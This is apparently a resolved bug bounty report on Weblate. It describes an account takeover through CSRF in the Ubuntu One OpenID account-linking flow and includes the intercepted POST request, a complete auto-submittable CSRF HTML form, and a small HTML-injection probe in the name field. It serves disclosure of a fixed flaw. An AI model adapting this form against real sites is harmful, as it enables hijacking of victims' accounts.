Account Takeover using Third party Auth CSRF
High
W
Weblate
Submitted None
Actions:
Reported by
ansariosama
Vulnerability Details
Technical details and impact analysis
1. Login to your account at demo.weblate.org
2. Goto Profile > Authentication - https://demo.weblate.org/accounts/profile/#auth
3. In Add new association section , select Ubuntu
4. Login with Ubuntu One account , before clicking on Yes log me in on ubuntu authentication site , start a proxy tool like Burp and intercept the request.
5. The request would be :
```
POST /accounts/complete/ubuntu/?janrain_nonce=2017-05-02T19%3A47%3A45ZkdmI4F HTTP/1.1
Host: demo.weblate.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 2220
Referer: https://login.ubuntu.com/uW1m5KmjuwAMvIwi/+decide
Cookie: csrftoken=nbSwWGtUEwxuG762mQJ4557CgzYRZsudxi905w4bkZCba4DnCPmgTVmNqdZnjgCb; sessionid=vpmznk0j91poy3bm9d4xqnb41f3dan35; django_language=en
Connection: close
Upgrade-Insecure-Requests: 1
openid.usernamesecret=&openid.response_nonce=2017-05-02T19%3A47%3A55ZGFIdhB&openid.ax.count.old_email=0&openid.ax.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1&openid.signed=assoc_handle%2Cax.count.email%2Cax.count.first_name%2Cax.count.fullname%2Cax.count.last_name%2Cax.count.nickname%2Cax.count.old_email%2Cax.count.old_fullname%2Cax.count.old_nickname%2Cax.mode%2Cax.type.email%2Cax.type.first_name%2Cax.type.fullname%2Cax.type.last_name%2Cax.type.nickname%2Cax.type.old_email%2Cax.type.old_fullname%2Cax.type.old_nickname%2Cax.value.email.1%2Cax.value.fullname.1%2Cax.value.nickname.1%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cns.ax%2Cns.sreg%2Cop_endpoint%2Cresponse_nonce%2Creturn_to%2Csigned&openid.ax.count.email=1&openid.op_endpoint=https%3A%2F%2Flogin.ubuntu.com%2F%2Bopenid&openid.ax.count.old_nickname=0&openid.ax.count.nickname=1&openid.ax.count.first_name=0&openid.ax.value.fullname.1=Osama+Ansari%22%3E%3CS%3Eaa&openid.ax.value.nickname.1=ansariosama10&openid.identity=https%3A%2F%2Flogin.ubuntu.com%2F%2Bid%2Fs3ssmQc&openid.ax.type.last_name=http%3A%2F%2Faxschema.org%2FnamePerson%2Flast&openid.return_to=https%3A%2F%2Fdemo.weblate.org%2Faccounts%2Fcomplete%2Fubuntu%2F%3Fjanrain_nonce%3D2017-05-02T19%253A47%253A45ZkdmI4F&openid.ax.count.old_fullname=0&openid.ax.mode=fetch_response&openid.claimed_id=https%3A%2F%2Flogin.ubuntu.com%2F%2Bid%2Fs3ssmQc&openid.ns.ax=http%3A%2F%2Fopenid.net%2Fsrv%2Fax%2F1.0&openid.ax.count.fullname=1&openid.ax.type.old_fullname=http%3A%2F%2Fschema.openid.net%2FnamePerson&openid.mode=id_res&openid.ax.value.email.1=ansariosama_10%40yahoo.com&openid.sig=yJVxzHLjZGTFMbnRdmCie5wlfXM%3D&openid.ax.type.fullname=http%3A%2F%2Faxschema.org%2FnamePerson&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ax.count.last_name=0&openid.ax.type.first_name=http%3A%2F%2Faxschema.org%2FnamePerson%2Ffirst&openid.ax.type.old_email=http%3A%2F%2Fschema.openid.net%2Fcontact%2Femail&openid.ax.type.nickname=http%3A%2F%2Faxschema.org%2FnamePerson%2Ffriendly&openid.ax.type.old_nickname=http%3A%2F%2Fschema.openid.net%2FnamePerson%2Ffriendly&openid.assoc_handle=%7BHMAC-SHA1%7D%7B58ff93b7%7D%7BNV6M%2Bw%3D%3D%7D
```
6. Drop the request and Create a CSRF Form of the request and send it to the victim.
```
<html>
<body>
<form action="https://demo.weblate.org/accounts/complete/ubuntu/?janrain_nonce=2017-05-02T19%3A42%3A15ZmPYI5n" method="POST">
<input type="hidden" name="openid.usernamesecret" value="" />
<input type="hidden" name="openid.response_nonce" value="2017-05-02T19:45:57ZW2aGkl" />
<input type="hidden" name="openid.ax.count.old_email" value="0" />
<input type="hidden" name="openid.ax.type.email" value="http://axschema.org/contact/email" />
<input type="hidden" name="openid.ns.sreg" value="http://openid.net/extensions/sreg/1.1" />
<input type="hidden" name="openid.signed" value="assoc_handle,ax.count.email,ax.count.first_name,ax.count.fullname,ax.count.last_name,ax.count.nickname,ax.count.old_email,ax.count.old_fullname,ax.count.old_nickname,ax.mode,ax.type.email,ax.type.first_name,ax.type.fullname,ax.type.last_name,ax.type.nickname,ax.type.old_email,ax.type.old_fullname,ax.type.old_nickname,ax.value.email.1,ax.value.fullname.1,ax.value.nickname.1,claimed_id,identity,mode,ns,ns.ax,ns.sreg,op_endpoint,response_nonce,return_to,signed" />
<input type="hidden" name="openid.ax.count.email" value="1" />
<input type="hidden" name="openid.op_endpoint" value="https://login.ubuntu.com/+openid" />
<input type="hidden" name="openid.ax.count.old_nickname" value="0" />
<input type="hidden" name="openid.ax.count.nickname" value="1" />
<input type="hidden" name="openid.ax.count.first_name" value="0" />
<input type="hidden" name="openid.ax.value.fullname.1" value="Osama Ansari"><S>aa" />
<input type="hidden" name="openid.ax.value.nickname.1" value="ansariosama10" />
<input type="hidden" name="openid.identity" value="https://login.ubuntu.com/+id/s3ssmQc" />
<input type="hidden" name="openid.ax.type.last_name" value="http://axschema.org/namePerson/last" />
<input type="hidden" name="openid.return_to" value="https://demo.weblate.org/accounts/complete/ubuntu/?janrain_nonce=2017-05-02T19%3A42%3A15ZmPYI5n" />
<input type="hidden" name="openid.ax.count.old_fullname" value="0" />
<input type="hidden" name="openid.ax.mode" value="fetch_response" />
<input type="hidden" name="openid.claimed_id" value="https://login.ubuntu.com/+id/s3ssmQc" />
<input type="hidden" name="openid.ns.ax" value="http://openid.net/srv/ax/1.0" />
<input type="hidden" name="openid.ax.count.fullname" value="1" />
<input type="hidden" name="openid.ax.type.old_fullname" value="http://schema.openid.net/namePerson" />
<input type="hidden" name="openid.mode" value="id_res" />
<input type="hidden" name="openid.ax.value.email.1" value="ansariosama_10@yahoo.com" />
<input type="hidden" name="openid.sig" value="C/7/y31yiyg6crJkuA4P34LKed0=" />
<input type="hidden" name="openid.ax.type.fullname" value="http://axschema.org/namePerson" />
<input type="hidden" name="openid.ns" value="http://specs.openid.net/auth/2.0" />
<input type="hidden" name="openid.ax.count.last_name" value="0" />
<input type="hidden" name="openid.ax.type.first_name" value="http://axschema.org/namePerson/first" />
<input type="hidden" name="openid.ax.type.old_email" value="http://schema.openid.net/contact/email" />
<input type="hidden" name="openid.ax.type.nickname" value="http://axschema.org/namePerson/friendly" />
<input type="hidden" name="openid.ax.type.old_nickname" value="http://schema.openid.net/namePerson/friendly" />
<input type="hidden" name="openid.assoc_handle" value="{HMAC-SHA1}{58ff93b7}{NV6M+w==}" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
7. Attacker's Ubuntu account will be connected to victim , the attacker can then use login with Ubuntu and access victim's account.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Cross-Site Request Forgery (CSRF)